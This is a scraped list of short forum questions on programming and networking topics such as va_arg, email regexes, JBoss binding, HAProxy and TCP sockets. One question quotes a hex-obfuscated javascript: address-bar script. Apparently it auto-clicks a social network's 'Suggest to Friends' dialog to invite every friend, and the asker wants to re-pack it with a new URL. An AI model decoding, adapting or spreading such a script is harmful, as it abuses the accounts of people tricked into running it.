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• How to get address of va_arg?

  - by lionbest

  I hack some old C API and i got a compile error with the following code: void OP_Exec( OP* op , ... ) { int i; va_list vl; va_start(vl,op); for( i = 0; i < op->param_count; ++i ) { switch( op->param_type[i] ) { case OP_PCHAR: op->param_buffer[i] = va_arg(vl,char*); // ok it works break; case OP_INT: op->param_buffer[i] = &va_arg(vl,int); // error here break; // ... more here } } op->pexec(op); va_end(vl); } The error with gcc version 4.4.1 (Ubuntu 4.4.1-4ubuntu9) was: main.c|55|error: lvalue required as unary ‘&’ operand So why exactly it's not possible here to get a pointer to argument? How to fix it? This code is executed very often with different OP*, so i prefer to not allocate extra memory. Is it possible to iterate over va_list knowing only the size of arguments?

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• JQuery validate e-mail address regex

  - by RussP

  Hi folks, not too sure about how to do this. I need/want to validate email addresses by regex using something like this: [a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+(?:[A-Z]{2}|com|org|net|edu|gov|mil|biz|info|mobi|name|aero|asia|jobs|museum) Not I need to run this in a JQ function like this: Where does the validation go and wht is the expression? - please $j("#fld_emailaddress").live('change',function() { var emailaddress = $j("#fld_emailaddress").val(); // validation here? if(emailaddress){} // end validation $j.ajax({ type: "POST", url: "../ff-admin/ff-register/ff-user-check.php", data: "fld_emailaddress="+ emailaddress, success: function(msg) { if(msg == 'OK') { $j("#fld_username").attr('disabled',false); $j("#fld_password").attr('disabled',false); $j("#cmd_register_submit").attr('disabled',false); $j("#fld_emailaddress").removeClass('object_error'); // if necessary $j("#fld_emailaddress").addClass("object_ok"); $j('#email_ac').html('&nbsp;<img src="img/cool.png" align="absmiddle"> <font color="Green"> Your email <strong>'+ emailaddress+'</strong> is OK.</font> '); } else { $j("#fld_username").attr('disabled',true); $j("#fld_password").attr('disabled',true); $j("#cmd_register_submit").attr('disabled',true); $j("#fld_emailaddress").removeClass('object_ok'); // if necessary $j("#fld_emailaddress").addClass("object_error"); $j('#email_ac').html(msg); } } }); });

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• How Can I Map IIS on My PC with Static IP to my Domain Name?

  - by Subhen

  Hi, Now I have got an internet connection with Static Ip. I want to know How can I map my website to my Static IP(Received from ISP). I know this is not a good Idea for Security and Performance issues, But just Wanted to know as I can set up a test Project. Again, Can't I just by a domain name and map it to my Static Ip, instead of buying them from WebHosting Providers. Now I have bought the space from bizzhost and hosted my site by setting the Name Server. Thanks, Subhen

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• Binding JBoss to IP Address

  - by Anand

  Hi, I am running a JBoss instance on a linux server I am using the ./run.sh -b This is not working what could be the reason. I am unable to share the error message details as of now will post it when I can, till then any alternatives or solutions ?

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• Address calling class

  - by Samuel

  I have an abstract class Moveable with the method abstract void move() which is extended by the class Bullet and the abstract class Character, and Character is extended by the class Survivor and the class Zombie. In Survivor and Bullet the move() method doesnt require any parameters while in the class Zombie the move() method depends on the actual position of the survivor. The survivor and multiple zombies are created in the class Gui. I wanted to access the survivor in Zombie - what's the best way of doing this? In Gui i wrote a method getSurvivor() but i don't see how to access this method in Zombie? I am aware that as a workaround i could just pass a [Survivor survivor] as parameter in move() and ignore it in Bullet and Survivor, but that feels so ... bad practice.

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• issue when outputting an http:// address in a sub-array with json and php

  - by Patrick

  Im trying to achieve an output like this {"status":"ok","0":{"id":"11","title":"digg","url":"http://www.digg.com"}} but instead i am getting this {"status":"ok","0":{"id":"11","title":"digg","url":"http:\/\/www.digg.com"}} this is the php code im using to generate the json $links = array('id'=>'11','title'=>'digg','url'=>"http://www.digg.com"); $msg = array('status'=>'ok',$links); echo json_encode($msg); any idea what is causing this?

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• HTML form submits and the hostname changes to IP address

  - by Shamik

  I am facing a peculiar problem. The problem is, my webapp is being installed behind a proxy. The request gets submitted to the proxy which forwards the request to the original host that is running the websphere web application. The problem I am facing is, when I access the webapp, its URL looks like the below http://www.myproxy.com Lets say I get a form on this URL, when I submit the form, it is getting submitted to another URL - http://10.1.2.87 Since the URL is changing, application server thinks it is a different session and throws the login page again. The login page comes thru a filter which checks whether user is already authenticated in the session or not. I do not have much knowledge on proxy settings .. where do you think is the problem?

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• Windows 7: how can I add an IP range in the "route" command?

  - by KeyStroke

  Hi, I'm using two network connections, and I tried using the "route" command so that when I access a specific internal IP on my LAN, it would use connection 1, anything else would go normally through connection 2 (which doesn't have access to my LAN). The problem is I have a bunch of internal IP's that I need to access, and the "route" command doesn't seem to allow me to add an IP range instead of specific IP. And connection 1 doesn't have internet access, so I can't use it as my default connection. Any idea how this can be solved? Your help is appreciated

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• Javascript in address bar, how do I decipher?

  - by DoMx

  Hello stackoverflow! I have a javascript code that appears to be encrypted: javascript:var _0xe788=[&quot;\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C&quot;,&quot;\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79&quot;,&quot;\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64&quot;,&quot;\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x31\x36\x38\x37\x38\x34\x39\x34\x39\x39\x32\x36\x35\x37\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E&quot;,&quot;\x73\x75\x67\x67\x65\x73\x74&quot;,&quot;\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73&quot;,&quot;\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74&quot;,&quot;\x63\x6C\x69\x63\x6B&quot;,&quot;\x69\x6E\x69\x74\x45\x76\x65\x6E\x74&quot;,&quot;\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74&quot;,&quot;\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C&quot;,&quot;\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D&quot;,&quot;\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70&quot;,&quot;\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67&quot;,&quot;\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x67\x6F\x6F\x67\x6C\x65\x2E\x63\x6F\x6D\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x38\x32\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x36\x30\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E&quot;];var variables=[_0xe788[0],_0xe788[1],_0xe788[2],_0xe788[3],_0xe788[4],_0xe788[5],_0xe788[6],_0xe788[7],_0xe788[8],_0xe788[9],_0xe788[10],_0xe788[11],_0xe788[12],_0xe788[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0xe788[14]); I have seen similar instances and I have heard it may be Hex. I have been doing some google research and have found some online deciphers for Hex yet they all seem to struggle decrypting the code. I basically need to decipher this code, change some variables and repack it exactly how I found it but replacing a URL. How can I go about this? Are there any free online tools available? Many thanks.

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• n00b: receive input over TCP/IP and use it to update HTML

  - by mawg

  This has got to be a FAQ, so can someone please just direct me to a "network programming for dummies" URL? The server wants to push information to a client or broadcast to all, when an event happens - as opposed to the clients constantly polling the server "just in case". The client then updates a browser page display. How do I do that? (toldya it was a n00b question) Should I have a thread which receives info on a socket and then writes it to a database which the browser display (PHP) can process with an HTML refresh tag, or what? Sorry to sound so dumb.

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• multiple clients - one server connection with sockets tcp/ip c# .net

  - by jagse

  Hello guys, I need to develop a client server system where I can have multiple clients communicating with one server at the same time. I want to communicate xml serialized objects and also need to send and receive other commands to invoke methods. Now, I am just starting with socket programming in C# and .Net and found that the asynchronous I/O is the way to go so that the methods dont block the execution of code. Also there are many examples of how to make a simple client server system. So I have a basic understanding of how that works. Anyway, what still is not clear to me is how I can set up a server which can manage connections to multiple clients? Can I just create a new socket per connection and then store those in some kind of list? Do I need some kind of multiplexing to achieve this? Do I have to listen at multiple ports? What`s the best way here? And the other thing is if I need to develop my own protocol to differentiate between what I am actually sending over the network -- xml serialized object or a command which might be just a string encoded in ascII or something. Or would I develop my own protocol just to send these commands? Any kind of help is apreciated! If someone knows a good book which covers this sort of stuff, let me know. Cheers I forgot to mention that some of my clients which are supposed to communicate with my server will be pda and I therefore use the compact framework... So this might bring in some restrictions...

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• What's the best way to block IP spoofing on a layer 3 switch?

  - by toupeira

  We're hosting Dedicated Servers and are currently using old 3com switches with IP-based ACLs. So each port has an ACL that allows all IP addresses assigned to this customer, and blocks everything else. But now 3com was bought by HP, and the follow-up model only supports basic ACL that aren't flexible enough to both allow certain IPs while blocking others. Looking at other switches in a similar price-range, we've found that most of them have similar problems or don't offer any ACL features at all. I assume this could also somehow be done with VLANs, but if I understand this correctly we'd still need some kind of ACL to actually specify the valid IP addresses for each port. What do you use to make sure your customers don't use unassigned IP addresses? Or what switches can you recommend that have flexible ACL functionality?

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• Changing memory address of a char*

  - by Randall Flagg

  I have the following code: str = "ABCD"; //0x001135F8 newStr = "EFGH"; //0x008F5740 *str after realloc at 5th position - //0x001135FC I want it to point to: 0x008F5740 void str_cat(char** str, char* newStr) { int i; realloc(*str, strlen(*str) + strlen(newStr) + 1); //*str is now 9 length long // I want to change the memory reference value of the 5th char in *str to point to newStr. // Is this possible? // &((*str) + strlen(*str)) = (char*)&newStr; //This is my problem (I think) }

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• Exchange2010 has Private Machine Name and IP in outbound SMTP - How to remove?

  - by John Bergman

  We have a domain (domain.local) that has IP Addresses in the 10.10.10.* range. In the outbound SMTP server traffic, I see the internal machine name (exchange.domain.local), and the internal ip address (10.10.10.55). The question is, how do you remove this header from exchange, or change it to have the external machine name/ip addresses. I am not talking about the HELO / EHLO handshake as part of the protocol. Please help.

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• [C] Memory Address Comparisons

  - by user331423

  I have pointers that contain 0x28fdec and 0x28fde8 In C how can I test if pointer1<pointer2?

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• Domain pointing to wrong IP address but DNS records seems correct.

  - by Binarytales

  http://www.example.com points correctly to the IP address of the server where the site is hosted. http://example.com (notice the lack of www) points to a different IP address. The DNS records for the domain have no reference to this foreign IP address - what might be causing this?

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• tcp/ip communication sender receive different process speed problem

  - by Benny

  In my program the receiver has a bigger workload, should i make the sender wait for the receiver through methods like ACK?

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• SSIS send mail task error out specified string not in form req for an email address

  - by Pramodtech

  My send mail task works fine for email ids like [email protected] but it throws error for email ids like [email protected]. is there any way i can make it work for such ids also? Thanks.

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• Is there a Linux kernel boot parameter to configure an IPv6 address?

  - by aef

  I know there is a parameter named ip which lets you configure IPv4 addresses on the Linux kernel through the boot loader. That looks like the following: ip=192.0.2.1::192.0.2.62:255.255.255.192::eth0:none I'm looking for an equal parameter for IPv6 configuration. I couldn't find anything about this in the kernel documentations. Update: Because of a lot of you asked why I would need this: The idea to use a kernel configuration came up related to this problem. I suspect the regular boot-up interface configuration is not done, because the interfaces are already up. The reason for this could be that I'm using a pre-boot environment with a Dropbear SSH server to allow me to unlock my encrypted root partition. The IP addresses for this environment are configured through GRUB with the ip= parameter. There is no DHCP or Router Advertisement available on that Ethernet segment and as this is the uplink segment provided by a large hosting company, there is no way to change that fact.

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• Can Haproxy deny a request by IP if its stick-table is full?

  - by bantic

  In my haproxy configs I'm setting a stick-table of size 5 that stores every incoming IP address (for 1 minute), and it is set as nopurge so new entries won't get stored in the table. What I'd like to have happen is that they would get denied, but that isn't happening. The stick-table line is: stick-table type ip size 5 expire 1m nopurge store gpc0 And the whole configs are: global maxconn 30000 ulimit-n 65536 log 127.0.0.1 local0 log 127.0.0.1 local1 debug stats socket /var/run/haproxy.stat mode 600 level operator defaults mode http timeout connect 5000ms timeout client 50000ms timeout server 50000ms backend fragile_backend tcp-request content track-sc2 src stick-table type ip size 5 expire 1m nopurge store gpc0 server fragile_backend1 A.B.C.D:80 frontend http_proxy bind *:80 mode http option forwardfor default_backend fragile_backend I have confirmed (connecting to haproxy's stats using socat readline /var/run/haproxy.stat) that the stick-table fills up with 5 IP addresses, but then every request after that from a new IP just goes straight through -- it isn't added to the stick-table, nothing is removed from the stick-table, and the request is not denied. What I'd like to do is deny the request if the stick-table is full. Is this possible? I'm using haproxy 1.5.

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• Receive input over TCP/IP and use it to update HTML

  - by mawg

  This has got to be a FAQ, so can someone please just direct me to a "network programming for dummies" URL? The server wants to push information to a client or broadcast to all, when an event happens - as opposed to the clients constantly polling the server "just in case". The client then updates a browser page display. How do I do that? (toldya it was a n00b question) Should I have a thread which receives info on a socket and then writes it to a database which the browser display (PHP) can process with an HTML refresh tag, or what? Sorry to sound so dumb.

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• what are these weird IP address connections in resource monitor?

  - by bill

  I decided to check out Resource Monitor (on the 'Performance' tab in Task Manager, Windows 7) and I noticed in the "Network" section that the 'System' image name kept making a bunch (~5 at a time) of connections to random IP addresses, it would show anywhere from 1-500 bytes/sec 'sent'. They would stay connected for 1-2 minutes. -All web browsers are closed So, first thing I did was run a trace from network-tools.com on some of these IP addresses. 8/10 were outside of US and did not resolve to any host name. Of the 10 IP addresses I traced, 2 were in US, 4 showed origins in China, and one each to Algeria, Russia, Pakistan, Korea. (!) So, the next thing I did was turn off my wireless card, watch the connections disappear, then turn the card back on, and within 30 seconds more random connections were created by System, with different IP addresses from the first time. The next thing I did was go open Task Manager, Show Processes From All Users, then I killed just about everything that wasn't (what appeared to be) a windows process. Turned on wi-fi, and again within 30 seconds, random IP addresses connect for ~ 1 min at a time, new ones coming and going. I occasionally use bit torrent on this machine, but there was definitely no process that seemed related to bt running after I went through task manager, and bt wasn't open to begin with. So, any ideas on what these connections might be for? I have been using Ad-Aware Free and AVG Free on this computer for a while now, always up to date..

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• How do I know which illegal address the program access when a segmentation fault happens

  - by overboming

  Plus, The program runs on a arm device running Linux, I can print out stack info and register values in the sig-seg handler I assign. The problem is I can't add -g option to the source file, since the bug may won't reproduce due to performance downgrade.

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• Is possible to arbitrarily register names to the same public IP?

  - by Alex. S.

  I registered a domain, lets say mysite.com (for example), then, results that somebody else has an A record from anotheraddress.com pointing to the same IP address of mine (in a VPS in linode.com) What can I do to avoid this???, I mean, I would prefer reject accesses from anotheraddress.com to my site. I just know only by casualty putting my genuine domain name on this http://www.domaintools.com/reverse-ip/ My DNS server is name.com, and the DNS server pointing to the my public IP is from GoDaddy. Is possible to register arbitrarily names to the same public IP? Can I use my DNS record with mysite.com to point to 209.85.133.147 (google.com), for example?

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• tcp/ip accept not returning, but client does

  - by paquetp

  server: vxworks 6.3 calls the usual socket, bind, listen, then: for (;;) { client = accept(sfd,NULL,NULL); // pass client to worker thread } client: .NET 2.0 TcpClient constructor to connect to server that takes the string hostname and int port, like: TcpClient client = new TcpClient(server_ip, port); This is working fine when the server is compiled and executed in windows (native c++). intermittently, the constructor to TcpClient will return the instance, without throwing any exception, but the accept call in vxWorks does not return with the client fd. tcpstatShow indicates no accept occurred. What could possibly make the TcpClient constructor (which calls 'Connect') return the instance, while the accept call on the server not return? It seems to be related to what the system is doing in the background - it seems more likely to get this symptom to occur when the server is busy persisting data to flash or an NFS share when the client attempts to connect, but can happen when it isn't also. I've tried adjusting priority of the thread running accept I've looked at the size of the queue in 'listen'. There's enough. The total number of file descriptors available should be enough (haven't validated this yet though, first thing in the morning)

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